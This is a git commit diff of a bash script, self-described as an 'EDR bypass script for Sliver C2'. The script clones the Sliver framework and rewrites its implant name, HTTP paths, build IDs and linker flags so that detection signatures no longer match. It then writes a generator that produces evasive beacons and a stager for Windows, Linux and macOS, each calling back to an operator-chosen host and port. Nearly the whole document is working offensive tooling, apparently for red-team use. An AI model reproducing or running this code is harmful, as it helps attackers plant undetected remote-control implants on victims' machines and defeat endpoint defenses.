working on sliver randomizer

This commit is contained in:
n0mad1k
2025-04-15 15:00:28 -04:00
parent 9cd93d90d8
commit 5520f846ff
+80 -22
View File
@@ -1,6 +1,5 @@
# This will be saved as files/sliver_randomizer.sh
#!/bin/bash #!/bin/bash
# EDR bypass script - Creates unique Sliver payloads to evade detection # EDR bypass script for Sliver C2 - With all required dependencies
set -e set -e
TEMP_DIR=$(mktemp -d) TEMP_DIR=$(mktemp -d)
@@ -18,43 +17,67 @@ random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
} }
# Clone Sliver # Install ALL required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git golang make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
# Clone Sliver repository
log "Cloning Sliver repository..." log "Cloning Sliver repository..."
git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR git clone --quiet https://github.com/BishopFox/sliver.git $SLIVER_DIR
cd $SLIVER_DIR cd $SLIVER_DIR
# Generate randomization values # Examine repository structure
log "Analyzing Sliver repository structure..."
IMPLANT_NAME=$(random_string 8) IMPLANT_NAME=$(random_string 8)
# Generate randomization values
HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)" HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)" HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
BEACON_MIN=$((30 + RANDOM % 60)) BEACON_MIN=$((30 + RANDOM % 60))
JITTER=$((10 + RANDOM % 20)) JITTER=$((10 + RANDOM % 20))
# 1. Modify implant name (critical for signatures) # Find and modify key files - ImplantName
log "Changing implant name to $IMPLANT_NAME..." log "Changing implant name to $IMPLANT_NAME..."
sed -i "s/ImplantName = \"sliver\"/ImplantName = \"$IMPLANT_NAME\"/g" server/configs/constants.go grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
log "Modified $file: ImplantName = \"sliver\" → ImplantName = \"$IMPLANT_NAME\""
done
# 2. Change HTTP request patterns (affects network signatures) # Modify HTTP transport patterns
log "Modifying HTTP transport patterns..." log "Modifying HTTP transport patterns..."
sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" implant/sliver/transports/httpclient.go grep -l "/path/to/file" --include="*.go" -r . | while read file; do
sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" "$file"
log "Modified $file: \"/path/to/file\" → \"$HTTP_PATH_ONE\""
done
# 3. Add unique build ID (affects binary signatures) # Add unique build ID to sliver.go
log "Adding unique build identifiers..." log "Adding unique build identifiers..."
cat >> implant/sliver/sliver.go << EOF SLIVER_GO_FILES=$(find . -name "sliver.go")
for file in $SLIVER_GO_FILES; do
echo -e "\n// Custom build identifier: $(random_string 32)\n// Build timestamp: $(date +%s)" >> "$file"
log "Added build identifier to $file"
done
// Custom build identifier: $(random_string 32) # Modify build flags
// Build timestamp: $(date +%s)
EOF
# 4. Modify PE headers through go build flags
log "Setting custom build flags..." log "Setting custom build flags..."
sed -i "s/LinkerStrip = \"-s -w\"/LinkerStrip = \"-s -w -buildid=$(random_string 10)\"/g" client/command/generate/binaries.go grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
done
# Build the modified Sliver # Build the modified client without compiling the server
log "Building Sliver client only..." log "Building Sliver client only..."
make client make client-only
# Create custom profiles directory # Skip server build if client fails
if [ $? -ne 0 ]; then
log "Client build failed, creating only the profiles"
else
log "Client build successful"
cp -f ./sliver-client /usr/local/bin/
fi
# Create custom profiles directory regardless of build success
mkdir -p /opt/c2/sliver-profiles mkdir -p /opt/c2/sliver-profiles
# Create evasive profile template # Create evasive profile template
@@ -77,9 +100,44 @@ cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
} }
EOF EOF
# Install client but use system Sliver server # Create beacon generator script for use with standard Sliver
log "Installing Sliver client..." cat > /opt/c2/generate_evasive_beacons.sh << 'EOF'
cp -f ./sliver-client /usr/local/bin/ #!/bin/bash
# Generate EDR-evasive beacons using randomized profiles
BEACONS_DIR="/opt/beacons"
PROFILE_DIR="/opt/c2/sliver-profiles"
HTTP_HOST=${1:-$(hostname -I | awk '{print $1}')}
HTTP_PORT=${2:-8888}
mkdir -p $BEACONS_DIR
# Generate random profile name
PROFILE="evasive-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
# Copy template to profiles directory
mkdir -p /root/.sliver/profiles/
cp $PROFILE_DIR/evasive-template.json /root/.sliver/profiles/$PROFILE.json
sed -i "s/\"name\": \"evasive-[a-zA-Z0-9]*\"/\"name\": \"$PROFILE\"/g" /root/.sliver/profiles/$PROFILE.json
echo "[+] Generating Windows beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows.exe
echo "[+] Generating Windows DLL beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format shared --save $BEACONS_DIR/windows.dll
echo "[+] Generating Linux beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os linux --arch amd64 --format elf --save $BEACONS_DIR/linux
echo "[+] Generating macOS beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os darwin --arch amd64 --format macho --save $BEACONS_DIR/macos
echo "[+] Generating Windows stager..."
sliver generate stager --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows-staged.exe
echo "[+] All beacons generated successfully with evasive profile: $PROFILE"
EOF
chmod +x /opt/c2/generate_evasive_beacons.sh
# Cleanup # Cleanup
log "Cleaning up..." log "Cleaning up..."